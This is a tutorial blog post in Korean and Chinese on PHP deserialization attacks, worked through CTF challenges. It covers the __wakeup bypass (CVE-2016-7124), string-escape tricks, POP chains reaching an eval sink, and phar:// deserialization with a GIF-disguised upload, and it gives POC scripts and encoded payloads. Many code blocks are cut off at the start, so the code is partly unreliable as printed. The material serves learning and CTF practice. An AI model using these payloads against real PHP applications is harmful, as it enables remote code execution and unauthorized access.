PHP 역직렬화 시작하기 요약(초보자가 꼭 읽어야 할 내용)

풀어 주다: 2023-04-11 10:12:02
앞으로
5270명이 탐색했습니다.

PHP 역직렬화 시작하기 요약(초보자가 꼭 읽어야 할 내용)

최근 몇 가지 역직렬화 질문을 작성했습니다. 저는 재능과 지식이 거의 없습니다. 실수가 있으면 비판하고 수정해 주세요.

PHP 역직렬화에 대한 간단한 이해

먼저 직렬화가 무엇인지, 역직렬화가 무엇인지 이해해야 합니다.

PHP 직렬화: serialize()

직렬화는 변수나 객체를 문자열로 변환하는 프로세스로, 유형과 구조를 잃지 않고 PHP 값을 저장하거나 전송하는 데 사용됩니다.

PHP 역직렬화: unserialize()

역직렬화는 문자열을 변수나 객체로 변환하는 프로세스입니다.

직렬화와 역직렬화를 통해 PHP에서 객체를 쉽게 전송할 수 있습니다. 역직렬화는 본질적으로 무해합니다. 그러나 사용자가 데이터를 제어할 수 있는 경우 역직렬화를 사용하여 페이로드 공격을 구성할 수 있습니다. 예를 들어, 선반을 온라인으로 구매하는 경우 비용 절감을 위해 분해되어 귀하에게 배송됩니다. 과정은 직렬화라고 할 수 있고, 조립하는 과정은 역직렬화라고 할 수 있습니다

그렇게 말했지만 직접 테스트해 보면 어떨까요

PHP 일련 문자 식별

  • a - array

  • b - boolean

  • d - double

  • i - 정수

  • o - 공통 객체

  • r - reference

  • s -

  • C- 사용자 정의 개체

  • O - 클래스

  • N - null

  • R - 포인터 참조

  • U - 유니코드 문자열

  • N - NULL

테스트해 보세요.

test1; } } $a=new TEST(); echo serialize($a); //O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:" TEST test2";s:2:"22";s:8:" * test3";s:2:"33";}
로그인 후 복사

O는 다음 4는 클래스 이름 길이를 나타냅니다. 큰따옴표 안은 클래스 이름

과 클래스의 변수 수입니다: {type: length: "value"; type: length: "value". .. 등등}

protected와 private은 실제로 인쇄할 수 없는 문자이므로 여기에 스크린샷이 있습니다

PHP 역직렬화 시작하기 요약(초보자가 꼭 읽어야 할 내용)

사진을 보면 인쇄할 수 없는 문자가 여러 개 있다는 것을 알 수 있습니다. 여기에는 몇 가지 특별한 점이 있습니다. , 자세한 내용은 나중에 작성하겠습니다

가끔 질문할 때 매개변수 전달 시 사고 방지를 위해 Urlencode를 하는 경우가 많습니다

매직메소드란 무엇인가요?

PHP 역직렬화 질문을 할 때 항상 마법 메서드를 만나게 됩니다

사실 이는 객체에 대해 특정 작업이 수행될 때 PHP의 기본 작업을 재정의하는 특수 메서드입니다

예를 들어 다음과 같이 여기서는 공통 The를 사용합니다. 생성 및 소멸 매직 메소드는 실제로 생성자이자 소멸자입니다

a; } public function __destruct() { echo $this->a="这里是__destruct"; } } $a=new A(); //输出这里是construct这里是destruct
로그인 후 복사

다음 질문은 매직 메소드 테스트의 몇 가지 예도 제공합니다

저는 매직 메소드가 트리거되는 상황을 사고 싶습니다. 이는 문제 해결에 매우 도움이 됩니다

  • __construct는 객체가 생성될 때 호출되고,

  • __destruct는 객체가 소멸될 때 호출되며,

  • __toString은 객체가 문자열로 처리될 때 호출됩니다.

  • __wakeup() unserialize를 사용할 때 트리거됨

  • __sleep() serialize를 사용할 때 트리거됨

  • __destruct() 객체가 파괴될 때 트리거

  • __존재하지 않거나 액세스할 수 없는 메서드에 대해 call() 호출 시 자동으로 호출됨

  • __callStatic()은 정적 컨텍스트에서 액세스할 수 없는 메서드가 호출될 때 트리거됩니다.

  • __get()은 액세스할 수 없는 속성에서 데이터를 읽는 데 사용됩니다.

  • __set()이 제공될 때 액세스할 수 없거나(보호되거나 비공개) 존재하지 않는 속성에 값이 할당되면

  • __isset()이라고 합니다. 액세스할 수 없는 속성에 대해 isset() 또는 empty()를 호출하면 Triggered에서

  • __unset()이 트리거됩니다. 접근할 수 없는 속성에 unset()을 사용할 때

  • __toString() 클래스를 문자열로 사용할 때 트리거되며 반환 값은 문자열이어야 합니다

  • __invoke() 스크립트가 객체를 function Trigger

만 보는 것만으로는 이해하기 충분하지 않습니다. 아래에서 몇 가지 CTF 질문을 만들어 여기에 공유합니다.

간단한 역직렬화 질문

질문 from [SWPUCTF 2021 신입생 공모전]ez_unserialize

admin ="user"; $this->passwd = "123456"; } public function __destruct(){ if($this->admin === "admin" && $this->passwd === "ctf"){ include("flag.php"); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo "Just a bit more!"; } } } $p = $_GET['p']; unserialize($p); ?>
로그인 후 복사

construct 메소드에서 admin에는 user 값이 할당되고, passwd에는 123456값이 할당되며, destruct 메소드에서는수식을 설정하여 출력해야 합니다. 플래그$this->admin === "admin" && $this->passwd === "ctf"

php 역직렬화는 클래스를 제어할 수 있습니다. 메소드의 속성은 변경할 수 없지만 클래스 메소드의 코드는 변경할 수 없습니다.

그러므로 직접 변경하고

admin ="admin"; $this->passwd = "ctf"; } } $a=new wllm(); echo urlencode(serialize($a)); ?>
로그인 후 복사

다음에 매개변수를 전달하면 됩니다. 인쇄할 수 없는 문자를 방지하려면 여기에 URL 인코딩이 필요합니다. 앞에서 개인 보호 속성이 직렬화된다고 언급했습니다.

__wakeup 우회

이것은 실제로 CVE, CVE-2016-7124

영향을 받는 버전 php5<5.6.25,php7<7.010

简单描述就是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

而魔术方法__wakeup执行unserialize()时,先会调用这个函数

写个代码本地测试一下

a="触发__construct"; } public function __wakeup() { $this->a="触发__wakeup"; } public function __destruct() { echo $this->a; } } $a=new A(); echo serialize($a);
로그인 후 복사

O:1:"A":1:{s:1:"a";s:17:"触发__construct";}先正常序列化一下

反序列化一下,输出触发__wakeup

PHP 역직렬화 시작하기 요약(초보자가 꼭 읽어야 할 내용)

O:1:"A":2:{s:1:"a";s:17:"触发__construct";}把对象个数改为2

PHP 역직렬화 시작하기 요약(초보자가 꼭 읽어야 할 내용)

触发__construct,绕过了wakeup

[极客大挑战 2019]PHP __wakeup()绕过

username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "
NO!!!hacker!!!
"; echo "You name is: "; echo $this->username;echo "
"; echo "You password is: "; echo $this->password;echo "
"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "
hello my friend~~
sorry i can't give you the flag!"; die(); } } }
로그인 후 복사

看源码我们需要password=100,username=admin,但反序列化过程中wakeup方法里会把username赋值为guest;

这里我们先生成一个对象,然后序列化并Url编码,接着把它反序列化,var_dump一下看看

//$a=new Name('admin','100'); //echo urlencode(serialize($a)); //echo serialize($a); $b="O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D"; var_dump(unserialize(urldecode($b)));
로그인 후 복사

PHP 역직렬화 시작하기 요약(초보자가 꼭 읽어야 할 내용)

那么修改对象个数为大于2

O%3A4%3A%22Name%22%3A4%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
로그인 후 복사

得到flag

PHP 역직렬화 시작하기 요약(초보자가 꼭 읽어야 할 내용)

POC

username = $username; $this->password = $password; } } $a=new Name('admin','100'); echo urlencode(serialize($a)); //echo serialize($a); //O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D ?>
로그인 후 복사

反序列化逃逸问题

逃逸问题的本质是改变序列化字符串的长度,导致反序列化漏洞

所以会有两种情况,一种是由长变短,一种是由短变长

由长变短

自己随手写个题测试下

a=$_GET['a']; $this->b="noflag"; $this->c=$_GET['c']; } public function check() { if ($this->b==="123") { echo "flag{123dddd}"; } else if ($this->a==="test") { echo "give you flag"; } else { echo "no flag"; } } public function __destruct() { $this->check(); } } $a=new A(); $b=serialize($a); $c=str_replace("aa","b",$b); unserialize($c);
로그인 후 복사

这里本地写一个测试简单利用下,学会这个逃逸思路即可

$b=serialize($a); echo $b; $c=str_replace("aa","b",$b); echo($c); //O:1:"A":3:{s:1:"a";s:4:"aaaa";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";} //O:1:"A":3:{s:1:"a";s:4:"bb";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}
로그인 후 복사

这里测试一下,很明显可以看见4个aaaa 变成了两个b,但s:4依然是四个字符串,a的值就相当于是从aaaa变成了bb";这样,相当于往后吞噬掉了两位,而这个题需要$b为123才能给flag,

$this->b="noflag";而这个已经给b赋值了,我们序列化出来可以看到s:1:"b";s:6:"noflag",之前可以看出,利用这个过滤可以吞噬掉后边的序列化,那岂不是可以把后边的都吞噬掉,然后根据序列化格式补全,依然可以正常的反序列化出来,把$b的值给覆盖掉

开始构造

然后计算要吞噬掉多少位

PHP 역직렬화 시작하기 요약(초보자가 꼭 읽어야 할 내용)

print(len('";s:1:"b";s:6:"noflag";s:1:"c";s:3:')) print(36*'aa') //35 //aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
로그인 후 복사

35个长度,构造出来肯定超过十个了,所以s:1的1会变成十位数,多出一位,所以要+1,用36个aa

a=36个aa,c=;s:1:"b";s:3:"123

这样构造出来为

O:1:"A":3:{s:1:"a";s:72:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:";s:1:"b";s:3:"123";} bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17: print(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:'))
로그인 후 복사

刚好为72个,成功反序列化,得到flag

PHP 역직렬화 시작하기 요약(초보자가 꼭 읽어야 할 내용)

由短变长

题目来自ctfshowWEB262

index.php from = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t']; if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); setcookie('msg',base64_encode($umsg)); echo 'Your message has been sent'; }
로그인 후 복사

highlight_file(FILE);

从题目注释里可以找到message.php

message.php源码

from = $f; $this->msg = $m; $this->to = $t; } } if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_COOKIE['msg'])); if($msg->token=='admin'){ echo $flag; } }
로그인 후 복사

很明显,要想得到flag要把token值更改为admin

但是正常反序列化,字符串个数是固定的,$umsg = str_replace('fuck', 'loveU', serialize($msg));但是这里fuck被替换为loveU,四个字符被替换成五个字符,简单演示一下


        
로그인 후 복사

可以很明显的看出来,s:8字符串应该是8个,替换后变为10个,因为有两个fuck,这样还看不出来什么,如果我们把多的字符串改为";s:5:"token";s:5:"admin";}而此时后面的";s:5:"token";s:4:"user";}这个就无效了

因为php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化

伪造的序列化字符串变成真的了,伪造的序列化字符串长度为27,loveU比fuck多一位

那么需要27个fuck就行

payload ?f=1 &m=1 &t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
로그인 후 복사

然后访问message.php即可 当然这个有非预期解,直接修改token值写到cookie里就行,不过关键是了解到反序列化字符串逃逸问题的思路

POP链构造

做这种题关键是php魔术方法,构造PHP先找到头部和尾部,头部就是用户可控的地方,也就是可以传入参数的地方,然后找尾部,比如关键代码,eval,file_put_contents这种,然后从尾部开始推导,根据魔术方法的特性,一步一步往上触发,根据下面的题,来学习下

[SWPUCTF 2021 新生赛]pop

题目源码

admin === 'w44m' && $this->passwd ==='08067'){ include('flag.php'); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo 'nono'; } } } class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } } class w33m{ public $w00m; public $w22m; public function __toString(){ $this->w00m->{$this->w22m}(); return 0; } } $w00m = $_GET['w00m']; unserialize($w00m); ?>
로그인 후 복사

POP链入手,先找关键代码,然后推断

需要admin为w44m,passwd为08067 才能得到flag

if($this->admin === 'w44m' && $this->passwd ==='08067'){ echo $flag;
로그인 후 복사

发现可以利用$this->w00m->{$this->w22m}();

这个地方,修改w22m=getflag,那么这个地方就有getflag()函数了

在类w22m中 方法__destruct中echo $this->w00m;echo了一个对象,会触发tostring方法

前面魔术方法提到

__toString 当一个对象被当作一个字符串被调用。这样的话我们便可以利用to_Sting方法里面的代码了,传参点是w00m,

链子构造为 w22m::__destruct->w33m::toString->w44m::getflag

poc如下,这里要用urlencode,因为我们前面提到private和protected生产序列化有不可见字符

w00m; } } class w33m{ public $w00m=""; public $w22m="getflag"; public function __toString(){ $this->w00m->{$this->w22m}(); return 1; } } $a=new w22m(); $a->w00m=new w33m(); $a->w00m->w00m=new w44m(); echo urlencode( serialize($a)); ?>
로그인 후 복사

[NISACTF 2022]babyserialize

fun=="show_me_flag"){ hint(); } } function __call($from,$val){ $this->fun=$val[0]; } public function __toString() { echo $this->fun; return " "; } public function __invoke() { checkcheck($this->txw4ever); @eval($this->txw4ever); } } class TianXiWei{ public $ext; public $x; public function __wakeup() { $this->ext->nisa($this->x); } } class Ilovetxw{ public $huang; public $su; public function __call($fun1,$arg){ $this->huang->fun=$arg[0]; } public function __toString(){ $bb = $this->su; return $bb(); } } class four{ public $a="TXW4EVER"; private $fun='abc'; public function __set($name, $value) { $this->$name=$value; if ($this->fun = "sixsixsix"){ strtolower($this->a); } } } if(isset($_GET['ser'])){ @unserialize($_GET['ser']); }else{ highlight_file(__FILE__); } //func checkcheck($data){ // if(preg_match(......)){ // die(something wrong); // } //} //function hint(){ // echo "......."; // die(); //} ?> 查看了一下提示发现什么也没有 if(isset($_GET['ser'])){@unserialize($_GET['ser']); 这是头部 这是尾部 public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever); }
로그인 후 복사

从__invoke()这里开始触发

__invoke() 当脚本尝试将对象调用为函数时触发

return $bb()而这里有一个函数调用

那么$bb是class Nisa的对象就会调用 __invoke

触发$bb要调用 __toString()

而__toString()是

当一个对象被当作一个字符串被调用。

找类似echo 这种代码,而这里有个strtolower

PHP 역직렬화 시작하기 요약(초보자가 꼭 읽어야 할 내용)

strtolower是在set方法里的

__set触发

在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

在four类的中有private $fun='abc';

Ilovetxw类中的__call方法访问了fun这个变量

function __call($from,$val){ $this->fun=$val[0]; }
로그인 후 복사

而__call方法

对不存在的方法或者不可访问的方法进行调用就自动调用

TianXiWei类中的wakeup会触发call

$this->ext->nisa($this->x); nisa()这个方法并不存在

这里详细说下

ext->nisa($this->x); } } class test { public $a =""; public function __call($a,$b) { echo "call"; } } $a=new TianXiWei(); $a->ext=new test(); //echo urlencode(serialize($a)); echo serialize($a);//O:9:"TianXiWei":2:{s:3:"ext";O:4:"test":1:{s:1:"a";s:0:"";}s:1:"x";N;} //echo serialize($a->ext);//O:4:"test":1:{s:1:"a";s:0:"";}
로그인 후 복사

wakeup方法反序列化会触发,而里面nisa方法并不存在,$a->ext=new test()这样会触发到call,在本地测试的时候这样调用会echo call,另外我们可以看出序列化$a和$->ext是不一样的结果

链子很清晰了

TianXiWei::__wakeup->Ilovetxw::__call->four::__set->Ilovetxw::__toString->NISA::__invoke POC ext=new Ilovetxw();//触发__call $a->ext->huang=new four();//触发__set $a->ext->huang->a=new Ilovetxw();//触发__tosrting $a->ext->huang->a->su=new NISA();//触发__invoke echo urlencode(serialize($a));
로그인 후 복사

相信到这里,做这种题已经有一定思路了,不要着急,找到方向,然后一步一步去构造

phar反序列化

单的理解phar反序列化

phar是什么?

phar是php提供的一类文件的后缀名称,也是php伪协议的一种。

phar可以干什么?

将多个php文件合并成一个独立的压缩包,相对独立

不用解压到硬盘就可以运行php脚本

支持web服务器和命令行运行

注意要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

PHP 역직렬화 시작하기 요약(초보자가 꼭 읽어야 할 내용)

phar文件的的结构

一个phar文件通常由四部分组成,

  • a stub:可以理解为一个标志,格式为xxx ,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

  • a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

  • the file contents:被压缩文件的内容。这里不是重点,内容不影响

  • [optional] a signature for verifying Phar integrity (phar file format only):签名,放在文件末尾

startBuffering(); $phar->setStub(""); //设置stub $o = new Test(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
로그인 후 복사

生成一个phar.phar文件

PHP 역직렬화 시작하기 요약(초보자가 꼭 읽어야 할 내용)

拉进010分析

1PHP 역직렬화 시작하기 요약(초보자가 꼭 읽어야 할 내용)

可以清楚看到一个标识符,一个序列化,一个文件名

有序列化数据必然会有反序列化操作 ,php一大部分的文件系统函数 通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化 ,受影响的函数如下

is_dir(),is_file(),is_link(),copy(),file(),stat(),readfile(),unlink(),filegroup(),fileinode(),fileatime(),filectime(),fopen(),filemtime(),fileowner(),fileperms(),file_exits(),file_get_contents(),file_put_contents(),is_executable(),is_readable(),is_writable(),parse_ini_file startBuffering(); $phar->setStub(""); $o=new Test(); $phar->setMetadata($o); $phar->addFromString("flag.txt","flag");//添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
로그인 후 복사

这里用file_get_contents测试下

name); } } echo file_get_contents('phar://rce.phar/flag.txt'); ?>
로그인 후 복사

1PHP 역직렬화 시작하기 요약(초보자가 꼭 읽어야 할 내용)

漏洞利用条件

  • phar文件要能够上传到服务器端。

  • 要有可用的魔术方法作为“跳板”。

  • 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

姿势

compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt php://filter/read=convert.base64-encode/resource=phar://phar.phar
로그인 후 복사

可以用于文件上传,有文件上传头限制,还可以这样,例如GIF

$phar->setStub(“GIF89a”.""); //设置stub 这样可以生成一个phar.phar,修改后缀名为phar.gif
로그인 후 복사

[SWPUCTF 2021 新生赛]babyunser phar反序列化

查看class.php获取源码

name='aa'; } public function __destruct(){ $this->name=strtolower($this->name); } } class ff{ private $content; public $func; public function __construct(){ $this->content=""; } public function __get($key){ $this->$key->{$this->func}($_POST['cmd']); } } class zz{ public $filename; public $content='surprise'; public function __construct($filename){ $this->filename=$filename; } public function filter(){ if(preg_match('/^/|php:|data|zip|..//i',$this->filename)){ die('这不合理'); } } public function write($var){ $filename=$this->filename; $lt=$this->filename->$var; //此功能废弃,不想写了 } public function getFile(){ $this->filter(); $contents=file_get_contents($this->filename); if(!empty($contents)){ return $contents; }else{ die("404 not found"); } } public function __toString(){ $this->{$_POST['method']}($_POST['var']); return $this->content; } } class xx{ public $name; public $arg; public function __construct(){ $this->name='eval'; $this->arg='phpinfo();'; } public function __call($name,$arg){ $name($arg[0]); } } getFile(); ?>